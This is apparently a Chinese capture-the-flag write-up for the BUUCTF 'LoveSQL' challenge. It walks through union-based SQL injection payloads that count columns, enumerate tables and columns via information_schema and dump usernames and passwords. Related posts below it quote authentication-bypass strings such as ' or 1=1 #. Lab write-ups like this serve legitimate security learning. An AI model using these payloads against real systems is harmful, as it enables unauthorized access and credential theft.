BUUCTF [极客大挑战 2019]LoveSQL 1

#和- - 表示注释，url中的#号是用来指导浏览器动作的，对服务器端无用。所以http请求中不包括#，因此使用#无法表示注入，- -(空格)在传输过程中空格会被忽略，导致无法注释
可以使用–+的方式+会被解释成空格，也可以–%20或者#可以写成%23

首先是用万能密码尝试

有成功的返回，试着看看有多少字段
?username=1’ order by 4%23&password=123有错误返回

获取回显点位
?username=1’ union select 1,2,3%23&password=123

得到2和3，接着爆数据库名
?username=1’ union select 1,database(),3%23&password=123

有了库名再爆表名
?username=1’ union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123

可以看到是有两个表，第二个看着更符合要求，接着爆该表的列名
?username=1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’%23&password=123

将3个字段数据显示出来
?username=1’ union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=123

向右查找即可得到flag

BUUCTF [极客大挑战 2019]LoveSQL 1相关推荐

BUUCTF WEB [极客大挑战 2019]LoveSQL
BUUCTF WEB [极客大挑战 2019]LoveSQL 进入靶机后尝试万能密码登录 admin 123' or '1'='1 获得flag Login Success! Hello admin! ...
BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http
目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...
BUUCTF [极客大挑战 2019] PHP
BUUCTF [极客大挑战 2019] PHP 启动靶机,打开页面: 提示为备份,尝试使用脚本扫描备份文件: Python备份文件扫描脚本参考本篇文章判断应该存在备份文件:www.zip 下载得到源 ...
buu [极客大挑战 2019]LoveSQL 1
buu [极客大挑战 2019]LoveSQL 1 -刷题个人日记小白一个,写给自己看. 进去后是这样: 用户名输入1和1'测试发现1'报错有sql语法错误,说明有sql注入点且后台数据库是Ma ...
BUUCTF——[极客大挑战 2019]Havefun 1
这道题是19年的极客挑战的题,这道题整体来说,额,很简单,而且这个猫猫感觉好乖哦~!好了,进入环境进入环境后可以看见这个界面,啧,说实话感觉没啥用,因为什么有用的价值都没有,所以老规矩,看一下它的源 ...
[BUUCTF][极客大挑战 2019]Http
思路浏览网站发现没什么地方可以点的,那就检查元素发现可疑路径添加Referer头修改UA 添加XFF头总结在CTF中修改http头的操作常有BUUCFT另一题,常用到的值 X-Forward ...
buuctf [极客大挑战 2019]Http1
目录知识点补充: 请求行请求头请求体解题过程知识点补充: 这道题,主要是对于http请求报文的考察.(参考(37条消息) http请求报文详解_石硕页的博客-CSDN博客_http请求报文) ...
BUUCTF-WEB：[极客大挑战 2019]LoveSQL 1
工具:Firefox,hackbar 这是一道非常常规的SQL的union联合注入的例题步骤: union联合注入过程第一步.测试注入点(一些小tips:利用引号,and 1=1, or 1=1之 ...
[极客大挑战 2019]LoveSQL
顶端の告诫:用 sqlmap 是没有灵魂的尝试万能密码(其实没卵用) 'or 1=1 # 任意密码这道题是常规的sql注入,测注入点.查字段数.爆库.爆字段值.爆表.组合拳字段数: 1' ord ...

BUUCTF [极客大挑战 2019]LoveSQL 1

BUUCTF [极客大挑战 2019]LoveSQL 1相关推荐

最新文章

热门文章